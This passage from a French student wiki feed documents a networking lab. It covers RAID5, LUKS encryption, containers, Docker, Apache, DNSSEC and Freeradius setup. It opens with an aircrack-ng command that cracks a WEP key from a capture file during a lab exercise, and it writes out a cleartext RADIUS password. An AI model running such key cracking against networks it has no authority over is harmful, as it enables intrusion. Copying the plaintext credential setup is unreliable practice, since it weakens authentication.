 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.1 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49125</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49125"/>
				<updated>2018-12-21T17:54:46Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* 6.1 Cryptage de données */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
